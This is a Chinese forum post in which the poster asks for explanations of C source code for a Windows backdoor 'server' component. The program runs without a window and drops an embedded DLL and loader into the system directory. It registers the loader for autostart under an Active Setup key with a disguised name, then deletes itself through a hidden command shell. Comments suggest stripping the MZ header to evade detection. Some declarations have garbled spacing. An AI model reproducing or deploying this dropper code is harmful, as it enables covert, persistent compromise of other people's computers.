这段程序有个别地方不懂,请诸位大神答疑
//////////////////////////////////////////////////////////////////////////
//FileName:Server
//REM:BackDoor服务端
//////////////////////////////////////////////////////////////////////////
#pragma once
//让程序不显示UI界面
#pragma comment(linker, "/subsystem:windows /entry:main")
#include "resource.h"//导入资源后,自动添加Resource.h文件
#include <Windows.h>
//////////////////////////////////////////////////////////////////////////
//宏定义部分
//////////////////////////////////////////////////////////////////////////
#define DLLNAME"\\Dll.dll"
#define LOADER"\\Loader.exe"
//////////////////////////////////////////////////////////////////////////
//函数声明部分
//////////////////////////////////////////////////////////////////////////
//释放DLL和Loader
BOOL Release2File(const char* fname,HRSRC hRsrc);
//写注册表实现自启动
BOOL Write2Register(const char* fname);
//自删除
BOOL SelfDelete();
int main(void)
{
char fname[MAX_PATH] = {0};
char path[MAX_PATH] = {0};
GetSystemDirectory(path,MAX_PATH);
memset(fname,0,sizeof(fname));
//从源path所指的内存地址的起始位置开始拷贝n个字节到目标dest所指的内存地址的起始位置中
memcpy(fname,path,strlen(path));
//把src所指字符串添加到dest结尾处(覆盖dest结尾处的'\0')并添加'\0'。
strcat(fname,DLLNAME);
//FindResource()确定指定模块中的指定类型名称资源所在位置
//参数:包含资源的可执行文件的模块句柄,资源名称,资源类型
HRSRC hRsrc = FindResource(NULL,MAKEINTRESOURCE(IDR_DLL1),TEXT("DLL"));
//该函数确定指定模块中指定类型和名称的资源所在位置。
//返回值:如果函数运行成功,那么返回值为指向被指定资源信息块的句柄。
//将资源释放出来,把资源加载到内存,然后在内存中复制数据并生成对应文件,最后释放空间
Release2File(fname,hRsrc);
memset(fname,0,sizeof(fname));
memcpy(fname,path,strlen(path));
strcat(fname,LOADER);
//FindResource()确定指定模块中的指定类型名称资源所在位置
//参数:包含资源的可执行文件的模块句柄,资源名称,资源类型
hRsrc = FindResource(NULL,MAKEINTRESOURCE(IDR_EXE1),TEXT("EXE"));
//将资源释放出来,把资源加载到内存,然后在内存中复制数据并生成对应文件,最后释放空间
Release2File(fname,hRsrc);
//写注册表实现自启动(Loader)
Write2Register(fname);
//自删除
SelfDelete();
}
//////////////////////////////////////////////////////////////////////////
//释放DLL和Loader
//REM:有一种思路:不释放前几个字节,然后自己填进去MZ头,更具隐蔽性
//运行时把资源释放出来,释放资源的原理是:先把资源加载到内存
//然后在内存中复制数据并生成对应文件,最后释放空间
//////////////////////////////////////////////////////////////////////////
BOOL Release2File(const char* fname,HRSRC hRsrc)
{
//hRsrc是在main()中调用FindResource()得到的
if (hRsrc==NULL)
{
return FALSE;
}
//获取资源大小:返回指定资源的字节数
//参数:hModule:处理包含资源的可执行文件的模块句柄。
//若hModule为NULL,则系统从当前过程的模块中装载资源。
//hResInfo:被装载资源的句柄由第一步的FindResourse()获得
DWORD dwSize = SizeofResource(NULL,hRsrc);
if (dwSize==0)
{
return FALSE;
}
//加载资源:装载指定资源到内存
//参数:hModule:处理包含资源的可执行文件的模块句柄。
//若hModule为NULL,则系统从当前过程的模块中装载资源。
//hResInfo:被装载资源的句柄由第一步的FindResourse()获得
HGLOBALgl = LoadResource(NULL,hRsrc);
if (gl==NULL)
{
return FALSE;
}
//锁定资源:锁定内存中的指定资源,即返回资源在内存中的地址
//hResData:被装载资源的句柄由第一步的FindResourse()获得
//返回值:若执行成功,返回资源在内存中的首地址,否则返回NULL
LPVOID lp = LockResource(gl);
if (lp==NULL)
{
return FALSE;
}
//为数据分配空间:从windows堆中分配指定大小的空间
//GPTR宏定义,具体内容如下
//#define GPTR (GMEM_FIXED|GMEM_ZEROINIT)
//其中,GMEM_FIXED的含义是分配固定的内存,返回值是一个指针
//GMEM_ZEROINIT代表将申请到的内存全部初始化为0
LPBYTE p = (LPBYTE)GlobalAlloc(GPTR,dwSize);
//复制资源数据:将Length字节长度的数据从Source地址复制到Destination
CopyMemory((LPVOID)p,lp,dwSize);
//CreateFile()用于打开和创建Windows中的各种设备:如文件、管道、油槽、通信服务、设备和控制台等
//函数执行成功返回可用文件句柄,否则返回INVALID_HANDLE_VALUE
HANDLEfp = CreateFile(fname,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,NULL);
DWORD dwWritten;
//writerFile:对各种windows文件和设备完成写操作
//函数执行成功返回非零值,否则返回0
if (!WriteFile(fp,(LPVOID)p,dwSize,&dwWritten,NULL))
{
return FALSE;
}
//关闭句柄
CloseHandle(fp);
//释放内存,若函数执行成功则返回TRUE,否则返回FALSE
FreeResource(gl);
return TRUE;
}
//////////////////////////////////////////////////////////////////////////
//写注册表实现自启动,利用ActiveX自启动
//注册处注册一条GUID信息即可,只要保证信息互不重复,这些数字和字母时可以随机组合的
//注册表的编程实现方法就是一些注册表操作API的集合
//注册一条信息只能实现第一次开机启动,之后再次开机就不能达到开机自启动的效果了
//
//////////////////////////////////////////////////////////////////////////
BOOL Write2Register(const char* fname)
{
HKEY hKey;
//创建一条注册表信息
RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{NS517-0XQO-SKETCHER-19901117-GMAILCOM}",&hKey);
RegSetValue(hKey,NULL,REG_SZ,"系统设置",strlen("系统设置"));
//若想要设置的注册表项下不是默认值,即有名称值的数据和类型时,可以调用RegSetValueEx函数,
//该函数将在注册表项下设置指定值的数据和类型。
RegSetValueEx(hKey,"stubpath",0,REG_EXPAND_SZ,(BYTE*)fname,lstrlen(fname));
RegCloseKey(hKey);
return TRUE;
}
//////////////////////////////////////////////////////////////////////////
//自删除
//////////////////////////////////////////////////////////////////////////
BOOL SelfDelete()
{
charszModule[MAX_PATH];
charszComspec[MAX_PATH];
charszParams[MAX_PATH];
//GetModuleFileName获得此文件名,获取一个应用程序的完整路径
//若执行成功,则返回该路径的长度,否则返回0.
//GetShortPathName获得正常文件名DOS8.3格式的短文件名
//若执行成功则返回得到的DOS8.3格式的短文件名
//GetEnvironmentVariable从该进程的环境变量中返回指定变量名的值,该值时一个以'\0'结尾的字符串指针。
//返回值是写入字符缓冲区的字符数量,但不包含'\0'字符。若没有找到所致定的变量,则返回0.
//若字符缓冲区的大小小于变量的值的长度,返回值为缓冲区的大小
if ( GetModuleFileName(0,szModule,MAX_PATH)!=0 && GetShortPathName(szModule,szModule,MAX_PATH)!=0 && GetEnvironmentVariable(TEXT("COMSPEC"),szComspec,MAX_PATH)!=0 )
{
//构造远程进程DOS命令参数,设置命令参数
//lstrcpy该函数复制一个字符串到缓冲区
lstrcpy(szParams,TEXT(" /c del "));
//该函数将一个字符串附加在另一个字符串后面。
lstrcat(szParams,szModule);
lstrcat(szParams,TEXT(" > nul"));
lstrcat(szComspec,szParams);
//填充结构体
STARTUPINFOsi = {0};
PROCESS_INFORMATIONpi = {0};
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
//为程序增加资源分配
//SetPriorityClass设置本进程优先级,REALTIME_PRIORITY_CLASS最高优先级
SetPriorityClass(GetCurrentProcess(),REALTIME_PRIORITY_CLASS);
//设置线程优先级,如果进程优先级为realtime则调整为31,其它情况为15
//如果要完成自删除功能,当前进程需要设置为实时优先级
SetThreadPriority(GetCurrentProcess(),THREAD_PRIORITY_TIME_CRITICAL);
//创建远程进程
//通过CreateProcess()函数创建一个远程进程,命令窗口程序是由环境变量COMSPEC定义的
//win XP使用CMD.COM.命令参数就是第一步中GetEnvironmentVariable()获得的变量值
//包含命令
if (CreateProcess(0,szComspec,0,0,0,CREATE_SUSPENDED | DETACHED_PROCESS,0,0,&si,&pi))
{
//暂停一直到该程序退出再执行
//这两个函数的第二个参数用于通知系统是否要动态提高指定进程的优先级类和指定线程的相对优先级。
SetPriorityClass(pi.hProcess,IDLE_PRIORITY_CLASS);
SetThreadPriority(pi.hThread,THREAD_PRIORITY_IDLE);
//以低级别恢复此批处理
ResumeThread(pi.hThread);
return TRUE;
}
else
{
SetPriorityClass(GetCurrentProcess(),NORMAL_PRIORITY_CLASS);
SetThreadPriority(GetCurrentProcess(),THREAD_PRIORITY_NORMAL);
}
}
return FALSE;
}